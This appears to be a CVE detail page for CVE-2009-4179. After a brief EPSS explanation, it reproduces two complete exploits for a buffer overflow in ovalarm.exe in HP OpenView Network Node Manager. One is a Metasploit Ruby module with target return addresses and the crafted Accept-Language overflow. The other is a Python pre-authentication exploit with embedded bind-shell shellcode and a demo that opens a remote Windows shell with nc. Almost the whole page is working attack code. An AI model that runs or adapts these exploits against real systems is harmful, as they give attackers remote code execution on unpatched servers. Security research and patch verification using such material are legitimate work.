CVE-2009-4179 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## # $Id: hp_nnm_ovalarm_lang.rb 10998 2010-11-11 22:43:22Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'HP OpenView Network Node Manager ovalarm.exe CGI Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53. By sending a specially crafted CGI request to ovalarm.exe, an attacker can execute arbitrary code. This specific vulnerability is due to a call to "sprintf_new" in the "isWide" function within "ovalarm.exe". A stack buffer overflow occurs when processing an HTTP request that contains the following. 1. An "Accept-Language" header longer than 100 bytes 2. An "OVABverbose" URI variable set to "on", "true" or "1" The vulnerability is related to "_WebSession::GetWebLocale()" .. NOTE: This exploit has been tested successfully with a reverse_ord_tcp payload. }, 'Author' => [ 'jduck' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10998 $', 'References' => [ [ 'CVE', '2009-4179' ], [ 'OSVDB', '60930' ], [ 'BID', '37347' ], [ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-09-12' ], [ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c01950877' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Privileged' => false, 'Payload' => { 'Space' => 650, 'BadChars' => (0..0x1f).to_a.pack('C*'), 'StackAdjustment' => -3500, 'DisableNops' => true, 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' => { 'BufferRegister' => 'ESP' }, }, 'Platform' => 'win', 'Targets' => [ [ 'HP OpenView Network Node Manager 7.53', { 'Ret' => 0x5a212a4a } ], # jmp esp in ov.dll [ 'HP OpenView Network Node Manager 7.53 (Windows 2003)', { 'Ret' => 0x71c02b67 } ] # push esp / ret in ws2_32.dll ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 9 2009')) register_options( [ Opt::RPORT(80) ], self.class ) end def exploit # sprintf_new(buf, "@@ isWide: comparing '%s' and '%s'", bigstr, dunno); start = "@@ isWide: comparing '" sploit = rand_text_alphanumeric(78) sploit << [0xffffffff].pack('V') # for jle sploit << [0xffffffff].pack('V') # increment me! sploit << rand_text_alphanumeric(4) sploit << [0x5a404058].pack('V') # ptr to nul byte sploit << rand_text_alphanumeric(8) sploit << [target.ret].pack('V') # ret sploit << payload.encoded print_status("Trying target #{target.name}...") send_request_cgi({ 'uri' => "/OvCgi/ovalarm.exe?OVABverbose=1", 'method' => "GET", 'headers' => { 'Accept-Language' => sploit } }, 3) handler end end =begin 1:014> s -b 0x5a000000 0x5a06a000 ff e4 5a01d78d ff e4 00 00 83 c4 08 85-c0 75 14 68 18 2f 04 5a .........u.h./.Z 1:014> u 0x5a01d78d L1 ov!OVHelpAPI+0x18d: 5a01d78d ffe4 jmp esp <- jmp esp for 7.53, will update in a sec. =end

#!/usr/bin/python # HP NNP ovalarm.exe CGI Remote Buffer Overflow - Pre Authentication # Tested on XP SP3 + IIS + NNM Release B.07.50 # Authors: muts & sinn3r (x90.sinner {a.t} gmail.c0m) # Reference: http://dvlabs.tippingpoint.com/advisory/TPTI-09-12 # http://www.offensive-security.com/0day/exploit-nnm-ovalarm.py.txt # # ** Big thanks to dookie for identifying the problem & testing for us! ** # # IMPORTANT: How to recreate the vulnerable state: # 1. Download NNM from exploit-db.com, install it # 2. Go to Start -> All Programs -> HP OpenView Patches -> OpenView Network Node Manager 7.51 -> run "NNM_01187 Uninstall". And then reboot. # 3. After the patch is removed, open command prompt, go to C:\Inetpub\AdminScrips\ # cscript.exe adsutil.vbs set w3svc/CreateProcessAsUser "false" # # Demo: # sinn3r@backtrack:~$ ./nnm.py 192.168.3.2 # [+] Sending evil buffer to NNMz # [+] Done! # sinn3r@backtrack:~$ nc -vn 192.168.3.2 4444 # (UNKNOWN) [192.168.3.2] 4444 (?) open # Microsoft Windows XP [Version 5.1.2600] # (C) Copyright 1985-2001 Microsoft Corp. # # C:\Program Files\HP OpenView\www\cgi-bin> ################################################################################### import socket, sys if (len(sys.argv) != 2): print "[+] HP NNM 7.53 ovalarm.exe CGI Remote Buffer Overflow" print "[+] Usage: %s <Target>" %sys.argv[0] sys.exit(0) #win32_bind - EXITFUNC=thread LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com shellcode = ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x56\x4b\x4e" "\x4d\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x46\x4b\x48" "\x4e\x36\x46\x52\x46\x32\x4b\x58\x45\x34\x4e\x33\x4b\x58\x4e\x57" "\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48" "\x4f\x55\x42\x42\x41\x30\x4b\x4e\x49\x44\x4b\x58\x46\x53\x4b\x48" "\x41\x30\x50\x4e\x41\x53\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c" "\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x43\x46\x45\x46\x32\x4a\x32\x45\x47\x45\x4e\x4b\x48" "\x4f\x55\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x34" "\x4b\x38\x4f\x45\x4e\x51\x41\x50\x4b\x4e\x43\x50\x4e\x32\x4b\x58" "\x49\x48\x4e\x56\x46\x32\x4e\x41\x41\x56\x43\x4c\x41\x43\x4b\x4d" "\x46\x56\x4b\x48\x43\x54\x42\x43\x4b\x38\x42\x44\x4e\x50\x4b\x58" "\x42\x37\x4e\x51\x4d\x4a\x4b\x48\x42\x44\x4a\x30\x50\x45\x4a\x36" "\x50\x58\x50\x44\x50\x30\x4e\x4e\x42\x45\x4f\x4f\x48\x4d\x48\x46" "\x43\x45\x48\x36\x4a\x46\x43\x43\x44\x53\x4a\x46\x47\x57\x43\x47" "\x44\x53\x4f\x45\x46\x55\x4f\x4f\x42\x4d\x4a\x46\x4b\x4c\x4d\x4e" "\x4e\x4f\x4b\x53\x42\x35\x4f\x4f\x48\x4d\x4f\x55\x49\x58\x45\x4e" "\x48\x46\x41\x38\x4d\x4e\x4a\x30\x44\x50\x45\x35\x4c\x46\x44\x30" "\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x35" "\x4f\x4f\x48\x4d\x43\x45\x43\x35\x43\x55\x43\x35\x43\x35\x43\x34" "\x43\x45\x43\x54\x43\x35\x4f\x4f\x42\x4d\x48\x36\x4a\x36\x41\x31" "\x4e\x55\x48\x56\x43\x55\x49\x58\x41\x4e\x45\x39\x4a\x56\x46\x4a" "\x4c\x51\x42\x37\x47\x4c\x47\x45\x4f\x4f\x48\x4d\x4c\x56\x42\x31" "\x41\x55\x45\x35\x4f\x4f\x42\x4d\x4a\x46\x46\x4a\x4d\x4a\x50\x42" "\x49\x4e\x47\x35\x4f\x4f\x48\x4d\x43\x45\x45\x45\x4f\x4f\x42\x4d" "\x4a\x46\x45\x4e\x49\x54\x48\x48\x49\x44\x47\x35\x4f\x4f\x48\x4d" "\x42\x45\x46\x35\x46\x45\x45\x55\x4f\x4f\x42\x4d\x43\x59\x4a\x36" "\x47\x4e\x49\x37\x48\x4c\x49\x37\x47\x55\x4f\x4f\x48\x4d\x45\x35" "\x4f\x4f\x42\x4d\x48\x56\x4c\x36\x46\x46\x48\x36\x4a\x36\x43\x46" "\x4d\x56\x49\x38\x45\x4e\x4c\x36\x42\x45\x49\x45\x49\x52\x4e\x4c" "\x49\x48\x47\x4e\x4c\x56\x46\x34\x49\x58\x44\x4e\x41\x33\x42\x4c" "\x43\x4f\x4c\x4a\x50\x4f\x44\x44\x4d\x42\x50\x4f\x44\x34\x4e\x32" "\x43\x49\x4d\x58\x4c\x47\x4a\x33\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36" "\x44\x57\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x47\x46\x44\x4f\x4f" "\x48\x4d\x4b\x55\x47\x55\x44\x45\x41\x35\x41\x55\x41\x45\x4c\x56" "\x41\x30\x41\x55\x41\x55\x45\x45\x41\x45\x4f\x4f\x42\x4d\x4a\x46" "\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x55\x4f\x4f\x48\x4d\x4c\x36" "\x4f\x4f\x4f\x4f\x47\x43\x4f\x4f\x42\x4d\x4b\x38\x47\x45\x4e\x4f" "\x43\x58\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x45\x4f\x4f\x42\x4d" "\x4a\x46\x4f\x4e\x50\x4c\x42\x4e\x42\x46\x43\x45\x4f\x4f\x48\x4d" "\x4f\x4f\x42\x4d\x5a") #9000 bytes; 7380+4+1616 #JMP ESP: 0x5A10A88B ovw.dll #Note: Other possible offsets to EIP we've seen: # [ "\x41"*7392 ] + [ EIP ] + [ junk ] # [ "\x41"*7332 ] + [ EIP ] + [ junk ] buff = ("\x41"*7380+ #Compensate for varying IP lengths "\x8b\xa8\x10\x5a" "\xeb\x18\x90\x90" "\x8b\xa8\x10\x5a" "\xeb\x11\x90\x90" "\x8b\xa8\x10\x5a" "\xeb\x08\x90\x90" "\x8b\xa8\x10\x5a" "\x90\x90\x90\x90" "\x90\x90\x90\x90"+ shellcode+ "\xCC"*(1584-len(shellcode)) ) buffer = ("GET /OvCgi/ovalarm.exe HTTP/1.1\r\n" "Host: 192.168.3.111\r\n" "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5)Gecko/20091102 Firefox/3.5.5\r\n" "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" "Accept-Language: en-us\r\n" "Accept-Encoding: gzip,deflate\r\n" "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n" "Cookie: OvAcceptLang=%s; ; OVABverbose=POST\r\n" "Cache-Control: max-age=0\r\n" "\r\n\r\n") % buff s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((sys.argv[1], 80)) print "[+] Sending evil buffer to NNMz" s.send(buffer) #print s.recv(1024) s.close() print "[+] Done!"